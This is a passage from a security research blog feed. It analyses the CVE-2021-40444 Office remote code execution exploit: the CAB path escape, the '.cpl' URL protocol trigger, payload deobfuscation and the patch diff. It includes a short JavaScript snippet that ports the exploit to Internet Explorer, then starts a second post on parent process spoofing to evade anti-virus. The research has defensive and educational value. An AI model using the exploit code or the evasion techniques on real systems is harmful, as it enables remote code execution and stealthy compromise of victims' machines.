src="https://billdemirkapi.me/content/images/2021/11/image-56.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1070" height="187" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-56.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-56.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-56.png 1070w" sizes="(min-width: 720px) 720px"><figcaption>Partial Pseudocode of CHtmPre Constructor</figcaption></figure><p>Since we were looking at a class function of the CHtmPre class, I set a breakpoint on the constructor for this class. When the debugger reached the constructor, I placed a write memory breakpoint for the field offset we saw (+ 136).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-57.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1194" height="139" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-57.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-57.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-57.png 1194w" sizes="(min-width: 720px) 720px"><figcaption>Partial Pseudocode of CEncodeReader Constructor when the Write Breakpoint Hit</figcaption></figure><p>The breakpoint hit! And not so far away either. The 4096 value was being set inside of another object constructor, CEncodeReader::CEncodeReader. This constructor was instantiated by the CHtmPre constructor we just hooked. Where did the 4096 come from then? <strong>It was hardcoded into the CHtmPre constructor!</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-58.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1036" height="161" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-58.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-58.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-58.png 1036w" sizes="(min-width: 720px) 720px"><figcaption>Partial Pseudocode of CHtmPre Constructor, Highlighting Hardcoded 4096 Value</figcaption></figure><p>What was happening was that when the CHtmPre instance was constructed, it had a default read size of 4096 bytes. The client was reading the bytes from the HTTP response <em>before </em>this field was updated with the real response size. Since our barebone payload was just a small HTML page under 4096 bytes, the client thought that the server hadn&#x2019;t sent the required response and thus terminated the execution.</p><p>The reason the attacker&apos;s payload worked is because it was above 4096 bytes in size. We just found a bug still present in Microsoft&#x2019;s HTML processor!</p><h3 id="reproduction-fixing-the-attackers-payload">Reproduction: Fixing the Attacker&apos;s Payload</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-24.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="778" height="374" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-24.png 600w, https://billdemirkapi.me/content/images/2021/11/image-24.png 778w" sizes="(min-width: 720px) 720px"><figcaption>Network Requests After Executing with Side.html Payload</figcaption></figure><p>We figured out how to make sure our payload executes. If you recall to an earlier section of this blog post, we saw that a request to a &quot;ministry.cab&quot; file was being made by the attacker&apos;s side.html payload. Fortunately for us, the attacker&#x2019;s sample came with the CAB file the server was originally serving.</p><p>This CAB file was interesting. It had a single file named &quot;<strong>../</strong>msword.inf&quot;, suggesting a relative path escape attack. This INF file was a PE binary for the attacker&#x2019;s Cobalt Strike beacon. I replaced this file with a simple DLL that opened Calculator for testing. Unfortunately, when I uploaded this CAB file to my server, I saw a successful request to it but no Calculator.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-59.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="823" height="257" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-59.png 600w, https://billdemirkapi.me/content/images/2021/11/image-59.png 823w" sizes="(min-width: 720px) 720px"><figcaption>Operations involving msword.inf from CAB file</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-60.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="824" height="355" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-60.png 600w, https://billdemirkapi.me/content/images/2021/11/image-60.png 824w" sizes="(min-width: 720px) 720px"><figcaption>Call stack of msword.inf Operation</figcaption></figure><p>I monitored Word with ProcMon once again to try and see what was happening with the CAB file. I filtered for &quot;msword.inf&quot; and found interesting operations where Word was writing it to the VM user&apos;s %TEMP% directory. The &quot;VerifyTrust&quot; function name in the call stack suggested that the INF file was written to the TEMP directory while it was trying to verify its signature.</p><p>Let&apos;s step through these functions to figure out what&apos;s going on.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-62.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="704" height="388" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-62.png 600w, https://billdemirkapi.me/content/images/2021/11/image-62.png 704w"><figcaption>Partial Pseudocode of Cwvt::VerifyTrust</figcaption></figure><p>After stepping through Cwvt::VerifyTrust with a debugger, I found that the function attempted to verify the signature of files contained within the CAB file. Specifically, if the CAB file included an INF file, it would extract it to disk and try to verify its digital signature.</p><p>What was happening was that the extraction process didn&apos;t have any security measures, allowing for an attacker to use relative path escapes to get out of the temporary directory that was generated for the CAB file.</p><p>The attackers were using a zero-day with ActiveX controls:</p><ol><li>The attacker&#x2019;s JavaScript (side.html) would attempt to execute the CAB file as an ActiveX control.</li><li>This triggered Microsoft&#x2019;s security controls to verify that the CAB file was signed and safe to execute.</li><li>Unfortunately, Microsoft handled this CAB file without care and although the signature verification fails, it allowed an attacker to extract the INF file to another location with relative path escapes.</li></ol><p>If there was a <strong>user-writable</strong> directory where if you could put a malicious INF file, it would execute your malware, then they could have stopped here with their exploit. This isn&#x2019;t a possibility though, so they needed some way to execute the INF file as a PE binary.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-64.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1004" height="201" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-64.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-64.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-64.png 1004w" sizes="(min-width: 720px) 720px"><figcaption>Strange control.exe Execution with INF File in Command Line</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-65.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1190" height="159" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-65.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-65.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-65.png 1190w" sizes="(min-width: 720px) 720px"><figcaption>Strange rundll32.exe Execution with INF File in Command Line</figcaption></figure><p>Going back to ProcMon, I tried to see why the INF file wasn&#x2019;t being executed. It looks like they were using <em>another </em>exploit to trigger execution of &quot;control.exe&quot;.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-66.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1294" height="69" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-66.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-66.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-66.png 1294w" sizes="(min-width: 720px) 720px"><figcaption>&quot;.cpl&quot; Used as a URL Protocol</figcaption></figure><p>The attackers were triggering the execution of a Control Panel Item. The command line for control.exe suggested they were using the &quot;.cpl&quot; file extension <strong>as a URL protocol</strong> and then used relative path escapes to trigger the INF file.</p><p>Why wasn&#x2019;t my Calculator DLL being executed then? Entirely my mistake! I was executing the Word document from a nested directory, but the attackers were only spraying a few relative path escapes that never reached my user directory. This makes sense because this document is intended to be executed from a victim&apos;s Downloads folder, whereas I was hosting the file inside of a nested Documents directory.</p><p>I placed the Word document in my Downloads folder and&#x2026; voila:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-67.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1140" height="584" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-67.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-67.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-67.png 1140w"><figcaption>Calculator being Executed by Word Document</figcaption></figure><h2 id="reversing-the-attackers-payload">Reversing the Attacker&apos;s Payload</h2><p>We have a working exploit! Now the next step to understanding the attack is to reverse engineer the attacker&#x2019;s malicious JavaScript. If you recall, it was somewhat obfuscated. As someone with experience with JavaScript obfuscators, it didn&#x2019;t seem like the attacker&#x2019;s did too much, however.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-68.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1606" height="628" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-68.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-68.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2021/11/image-68.png 1600w, https://billdemirkapi.me/content/images/2021/11/image-68.png 1606w" sizes="(min-width: 1200px) 1200px"><figcaption>Common JavaScript String Obfuscation Technique seen in Attacker&apos;s Code</figcaption></figure><p>A common pattern I see with attempts at string obfuscation in JavaScript is an array containing a bunch of strings and the rest of the code referencing strings through an unknown function which referenced that array.</p><p>In this case, we can see a string array named &quot;a0_0x127f&quot; which is referenced inside of the global function &quot;a0_0x15ec&quot;. Looking at the rest of the JavaScript, we can see that several parts of it call this unknown function with an numerical index, suggesting that this function is used to retrieve a deobfuscated version of the string.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-69.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1240" height="250" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-69.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-69.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-69.png 1240w" sizes="(min-width: 720px) 720px"><figcaption>String Deobfuscation Script</figcaption></figure><p>This approach to string obfuscation is relatively easy to get past. I wrote a small script to find all calls to the encryption function, resolve what the string was, and replace the entire call with the real string. Instead of worrying about the mechanics of the deobfuscation function, we can just call into it like the real code does to retrieve the deobfuscated string.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-70.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="809" height="488" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-70.png 600w, https://billdemirkapi.me/content/images/2021/11/image-70.png 809w" sizes="(min-width: 720px) 720px"><figcaption><strong>Before </strong>String Deobfuscation</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-71.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="789" height="488" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-71.png 600w, https://billdemirkapi.me/content/images/2021/11/image-71.png 789w" sizes="(min-width: 720px) 720px"><figcaption><strong>After </strong>String Deobfuscation</figcaption></figure><p>This worked extremely well and we now have a relatively deobfuscated version of their script. The rest of the deobfuscation was just combining strings, getting rid of &quot;indirect&quot; calls to objects, and naming variables given their context. I can&#x2019;t cover each step in detail because there were a lot of minor steps for this last part, but there was nothing especially notable. I tried naming the variables the best I could given the context around them and commented out what I thought was happening.</p><p>Let&#x2019;s review what the script does.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-72.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="688" height="643" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-72.png 600w, https://billdemirkapi.me/content/images/2021/11/image-72.png 688w"><figcaption>Part #1 of Deobfuscated JavaScript: Create and Destroy an IFrame</figcaption></figure><p>In this first part, the attacker&apos;s created an iframe element, retrieved the ActiveX scripting interface for that iframe, and destroyed the iframe. Although the iframe has been destroyed, the ActiveX interface is still live and can be used to execute arbitrary HTML/JavaScript.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-73.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="792" height="588" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-73.png 600w, https://billdemirkapi.me/content/images/2021/11/image-73.png 792w" sizes="(min-width: 720px) 720px"><figcaption>Part #2 of Deobfuscated JavaScript: Create Nested ActiveX HTML Documents</figcaption></figure><p>In this next part, the attackers used the destroyed iframe&apos;s ActiveX interface to create three nested HTML documents. I am not entirely sure what the purpose of these nested documents serves, because if the attackers only used the original ActiveX interface without any nesting, the exploit works fine.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-74.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1392" height="584" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-74.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-74.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-74.png 1392w" sizes="(min-width: 1200px) 1200px"><figcaption>Part #3 of Deobfuscated JavaScript: Create ActiveX Control and Trigger INF File</figcaption></figure><p>This final section is what performs the primary exploits.</p><p>The attackers make a request to the exploit CAB file (&quot;ministry.cab&quot;) with an XMLHttpRequest. Next, the attackers create a new ActiveX Control object inside of the third nested HTML document created in the last step. The class ID and version of this ActiveX control are arbitrary and can be changed, but the important piece is that the ActiveX Control points at the previously requested CAB file. URLMON will automatically verify the signature of the ActiveX Control CAB file, which is when the malicious INF file is extracted into the user&apos;s temporary directory.</p><p>To trigger their malicious INF payload, the attackers use the &quot;.cpl&quot; file extension as a URL Protocol with a relative path escape in a new HTML document. This causes control.exe to start rundll32.exe, passing the INF file as the Control Panel Item to execute.</p><p>The fully deobfuscated and commented HTML/JS payload can be found <a href="https://gist.github.com/D4stiny/1692ded337b67bfbeea10f2269af81fe">here</a>.</p><h2 id="overview-of-the-attack">Overview of the Attack</h2><p>We covered a significant amount in the previous sections, let&apos;s summarize the attack from start to finish:</p><ol><li>A victim opens the malicious Word document.</li><li>Word loads the attacker&apos;s HTML page as an OLE object and executes the contained JavaScript.</li><li>An IFrame is created and destroyed, but a reference to its ActiveX scripting surface remains.</li><li>The CAB file is invoked by creating an ActiveX control for it.</li><li>While the CAB file&apos;s signature is verified, the contained INF file is written to the user&apos;s Temp directory.</li><li>Finally, the INF is invoked by using the &quot;.cpl&quot; extension as a URL protocol, using relative path escapes to reach the temporary directory.</li></ol><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2022/01/image-1.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="544" height="528"></figure><h2 id="reversing-microsofts-patch">Reversing Microsoft&apos;s Patch</h2><p>When Microsoft released its advisory for this bug on September 7th, they had no patch! To save face, they claimed Windows Defender was a mitigation, but that was just a detection for the attacker&apos;s exploit. The underlying vulnerability was untouched.</p><p>It took them nearly a month from when the first known sample was uploaded to VirusTotal (August 19th) to finally fix the issue on September 14th with a Patch Tuesday update. Let&#x2019;s take a look at the major changes in this patch.</p><p>A popular practice by security researchers is to find the differences in binaries that used to contain vulnerabilities with the patched binary equivalent. I updated my system but saved several DLL files from my unpatched machine. There are a couple of tools that are great for finding assembly-level differences between two similar binaries.</p><ol><li><a href="https://www.zynamics.com/bindiff.html">BinDiff</a> by Zynamics</li><li><a href="https://github.com/joxeankoret/diaphora">Diaphora</a> by Joxean Koret</li></ol><p>I went with Diaphora because it is more advanced than BinDiff and allows for easy pseudo-code level comparisons. The primary binaries I diff&apos;d were:</p><ol><li>IEFRAME.dll - This is what executed the URL protocol for &quot;.cpl&quot;.</li><li>URLMON.dll - This is what had the CAB file extraction exploit.</li></ol><h3 id="reversing-microsofts-patch-ieframe">Reversing Microsoft&apos;s Patch: IEFRAME</h3><p>Once I diff&#x2019;d the updated and unpatched binary, I found ~1000 total differences, but only ~30 major changes. One function that had heavy changes and was associated with the CPL exploit was _AttemptShellExecuteForHlinkNavigate.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-76.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="849" height="414" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-76.png 600w, https://billdemirkapi.me/content/images/2021/11/image-76.png 849w"><figcaption>Pseudocode Diff of _AttemptShellExecuteForHlinkNavigate</figcaption></figure><p>In the old version of IEFRAME, this function simply used <a href="https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutew">ShellExecuteW</a> to open the URL protocol with no verification. This is why the CPL file extension was processed as a URL protocol.</p><p>In the new version, they added a significant number of checks for the URL protocol. Let&#x2019;s compare the differences.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-78.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1217" height="539" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-78.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-78.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-78.png 1217w" sizes="(min-width: 720px) 720px"><figcaption>Patched _AttemptShellExecuteForHlinkNavigate Pseudocode</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-79.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1188" height="564" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-79.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-79.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-79.png 1188w" sizes="(min-width: 720px) 720px"><figcaption>New IsValidSchemeName Function</figcaption></figure><p>In the patched version of _AttemptShellExecuteForHlinkNavigate, the primary addition that prevents the use of file extensions as URL Protocols is the call to IsValidSchemeName.</p><p>This function takes the URL Protocol that is being used (i.e &quot;.cpl&quot;) and verifies that all characters in it are alphanumerical. For example, this exploit used the CPL file extension to trigger the INF file. With this patch, &quot;.cpl&quot; would fail the IsValidSchemeName function because it contains a period which is non-alphanumerical.</p><p>An important factor to note is that this patch for using file extensions as URL Protocols only applies to MSHTML. File extensions are still exposed for use in other attacks against ShellExecute, which is why I wouldn&apos;t be surprised if we saw similar techniques in future vulnerabilities.</p><h3 id="reversing-microsofts-patch-urlmon">Reversing Microsoft&apos;s Patch: URLMON</h3><p>I performed the same patch diffing on URLMON and found a major change in catDirAndFile. This function was used during extraction to generate the output path for the INF file.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-80.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="432" height="283"><figcaption>Patched catDirAndFile Pseudocode</figcaption></figure><p>The patch for the CAB extraction exploit was extremely simple. All Microsoft did was replace any instance of a forward slash with a backslash. This prevents the INF extraction exploit of the CAB file because backslashes are ignored for relative path escapes.</p><h2 id="abusing-cve-2021-40444-in-internet-explorer">Abusing CVE-2021-40444 in Internet Explorer</h2><p>Although Microsoft&apos;s advisory covers an attack scenario where this vulnerability is abused in Microsoft Office, could we exploit this bug in another context?</p><p>Since Microsoft Office uses the same engine Internet Explorer uses to display web pages, could CVE-2021-40444 be abused to gain remote code execution from a malicious page opened in IE? When I tried to visit the same payload used in the Word document, the exploit did not work &quot;out of the box&quot;, specifically due to an error with the pop up blocker.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2022/01/image-2.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="862" height="50" srcset="https://billdemirkapi.me/content/images/size/w600/2022/01/image-2.png 600w, https://billdemirkapi.me/content/images/2022/01/image-2.png 862w" sizes="(min-width: 720px) 720px"><figcaption>IE blocks .cpl popup</figcaption></figure><p>Although the CAB extraction exploit was successfully triggered, the attempt to launch the payload failed because Internet Explorer considered the &quot;.cpl&quot; exploit to be creating a pop up.</p><p>Fortunately, we can port the .cpl exploit to get around this pop up blocker relatively easily. Instead of creating a new page, we can simply redirect the current page to the &quot;.cpl&quot; URL.</p><pre><code class="language-javascript">function redirect() {
    //
    // Redirect current window without creating new one,
    // evading the IE pop up blocker.
    //
    window.location = &quot;.cpl:../../../AppData/Local/Temp/Low/msword.inf&quot;;
    document.getElementById(&quot;status&quot;).innerHTML = &quot;Done&quot;;
}

//
// Trigger in 500ms to give time for the .cab file to extract.
//
setTimeout(function() {
    redirect()
}, 500);</code></pre><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2022/01/image-3.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1062" height="591" srcset="https://billdemirkapi.me/content/images/size/w600/2022/01/image-3.png 600w, https://billdemirkapi.me/content/images/size/w1000/2022/01/image-3.png 1000w, https://billdemirkapi.me/content/images/2022/01/image-3.png 1062w" sizes="(min-width: 720px) 720px"></figure><p>With the small addition of the redirect, CVE-2021-40444 works without issue in Internet Explorer. The complete code for this ported HTML/JS payload can be found <a href="https://gist.github.com/D4stiny/4fd437bad4233856a7cebd42fb3057e5">here</a>.</p><h2 id="conclusion">Conclusion</h2><p>CVE-2021-40444 is in fact compromised of several vulnerabilities as we investigated in this blog post. Not only was there the initial step of extracting a malicious file to a predictable location through the CAB file exploit, but there was also the fact that URL Protocols could be file extensions.</p><p>In the latest patch, Word still executes pages with JavaScript if you use the MHTML protocol. What&#x2019;s frightening to me is that the entire attack surface of Internet Explorer is exposed to attackers through Microsoft Word. That is <em><strong>a lot</strong></em> of legacy code. Time will tell what other vulnerabilities attacker&apos;s will abuse in Internet Explorer through Microsoft Office.</p>]]></content:encoded></item><item><title><![CDATA[Abusing Windows’ Implementation of Fork() for Stealthy Memory Operations]]></title><description><![CDATA[<p><em>Note: Another researcher recently <a href="https://twitter.com/diversenok_zero/status/1463844989612568581">tweeted</a> about the technique discussed in this blog post, this is addressed </em><a href="#didnt-i-see-this-on-twitter-yesterday"><em>in the last section of the blog</em></a><em> (warning, spoilers!).</em></p><p>To access information about a running process, developers generally have to open a handle to the process through the <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> API specifying a combination of</p>]]></description><link>https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/</link><guid isPermaLink="false">619fffdca39fe110b6ef5796</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 26 Nov 2021 04:32:04 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/11/process_forking-1.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/11/process_forking-1.png" alt="Abusing Windows&#x2019; Implementation of Fork() for Stealthy Memory Operations"><p><em>Note: Another researcher recently <a href="https://twitter.com/diversenok_zero/status/1463844989612568581">tweeted</a> about the technique discussed in this blog post, this is addressed </em><a href="#didnt-i-see-this-on-twitter-yesterday"><em>in the last section of the blog</em></a><em> (warning, spoilers!).</em></p><p>To access information about a running process, developers generally have to open a handle to the process through the <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> API specifying a combination of 13 different <em>process access rights:</em></p><ol><li><code>PROCESS_ALL_ACCESS</code> - All possible access rights for a process.</li><li><code>PROCESS_CREATE_PROCESS</code> - Required to create a process.</li><li><code>PROCESS_CREATE_THREAD</code> - Required to create a thread.</li><li><code>PROCESS_DUP_HANDLE</code> - Required to duplicate a handle using DuplicateHandle.</li><li><code>PROCESS_QUERY_INFORMATION</code> - Required to retrieve general information about a process such as its token, exit code, and priority class.</li><li><code>PROCESS_QUERY_LIMITED_INFORMATION</code> - Required to retrieve certain limited information about a process.</li><li><code>PROCESS_SET_INFORMATION</code> - Required to set certain information about a process such as its priority.</li><li><code>PROCESS_SET_QUOTA</code> - Required to set memory limits using SetProcessWorkingSetSize.</li><li><code>PROCESS_SUSPEND_RESUME</code> - Required to suspend or resume a process.</li><li><code>PROCESS_TERMINATE</code> - Required to terminate a process using TerminateProcess.</li><li><code>PROCESS_VM_OPERATION</code> - Required to perform an operation on the address space of a process (VirtualProtectEx, WriteProcessMemory).</li><li><code>PROCESS_VM_READ</code> - Required to read memory in a process using ReadProcessMemory.</li><li><code>PROCESS_VM_WRITE</code> - Required to write memory in a process using WriteProcessMemory.</li></ol><p>The access rights requested will impact whether or not a handle to the process is returned. For example, a normal process running under a standard user can open a SYSTEM process for querying basic information, but it cannot open that process with a privileged access right such as <code>PROCESS_VM_READ</code>.</p><p>In the real world, the importance of process access rights can be seen in the restrictions anti-virus and anti-cheat products place on certain processes. An anti-virus might <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks">register a process handle create callback</a> to prevent processes from opening the Local Security Authority Subsystem Service (LSASS) which could contain sensitive credentials in its memory. An anti-cheat might prevent processes from opening the game they are protecting, because cheaters can access key regions of the game memory to gain an unfair advantage.</p><p>When you look at the thirteen process access rights, do any of them strike out as potentially malicious? I investigated that question by taking a look at the drivers for several anti-virus products. Specifically, what access rights did they filter for in their process handle create callbacks? I came up with this subset of access rights that were often directly associated with potentially malicious operations: <code>PROCESS_ALL_ACCESS</code>, <code>PROCESS_CREATE_THREAD</code>, <code>PROCESS_DUP_HANDLE</code>, <code>PROCESS_SET_INFORMATION</code>, <code>PROCESS_SUSPEND_RESUME</code>, <code>PROCESS_TERMINATE</code>, <code>PROCESS_VM_OPERATION</code>, <code>PROCESS_VM_READ</code>, and <code>PROCESS_VM_WRITE</code>.</p><p>This leaves four other access rights that were discovered to be largely ignored:</p><ol><li><code>PROCESS_QUERY_INFORMATION</code> - Required to retrieve general information about a process such as its token, exit code, and priority class.</li><li><code>PROCESS_QUERY_LIMITED_INFORMATION</code> - Required to retrieve certain limited information about a process.</li><li><code>PROCESS_SET_QUOTA</code> - Required to set memory limits using SetProcessWorkingSetSize.</li><li><code>PROCESS_CREATE_PROCESS</code> - Required to create a process.</li></ol><p>These access rights were particularly interesting because if we could find a way to abuse any of them, we could potentially evade the detection of a majority of anti-virus products.</p><p>Most of these remaining rights cannot modify important aspects of a process. <code>PROCESS_QUERY_INFORMATION</code> and <code>PROCESS_QUERY_LIMITED_INFORMATION</code> are purely for reading informational details about a process. <code>PROCESS_SET_QUOTA</code> does impact the process, but does not provide much surface to abuse. For example, being able to set a processes&apos; performance limits provides limited usefulness in an attack.</p><p>What about <code>PROCESS_CREATE_PROCESS</code>? This access right allows a caller to &quot;create a process&quot; using the process handle, but what does that mean?</p><p>In practice, someone with a process handle containing this access right can create processes on behalf of that process. In the following sections, we will explore existing techniques that abuse this access right and its undiscovered potential.</p><h2 id="parent-process-spoofing">Parent Process Spoofing</h2><p>An existing evasion technique called &quot;parent process ID spoofing&quot; is used when a malicious application would like to create a child process under a different process. This allows an attacker to create a process while having it appear as if it was launched by another legitimate application.</p><p>At a high-level, common implementations of parent process ID spoofing will:</p><ol><li>Call <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist">InitializeProcThreadAttributeList</a> to initialize an attribute list for the child process.</li><li>Use <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> to obtain a <code>PROCESS_CREATE_PROCESS</code> handle to the fake parent process.</li><li>Update the previously initialized attribute list with the parent process handle using <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute">UpdateProcThreadAttribute</a>.</li><li>Create the child process with <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa">CreateProcess</a>, passing extended startup information containing the process attributes.</li></ol><p>This technique provides more usefulness than just being able to spoof the parent process of a child. It can be used to attack the parent process itself as well.</p><p>When creating a process, if the attacker specifies <code>TRUE</code> for the InheritHandles argument, all inheritable handles present in the parent process will be given to the child. For example, if a process has an inheritable thread handle and an attacker would like to obtain this handle indirectly, the attacker can abuse parent process spoofing to create their own malicious child process which inherits these handles.</p><p>The malicious child process would then be able to abuse these inherited handles in an attack against the parent process, such as a child using asynchronous procedure calls (APCs) on 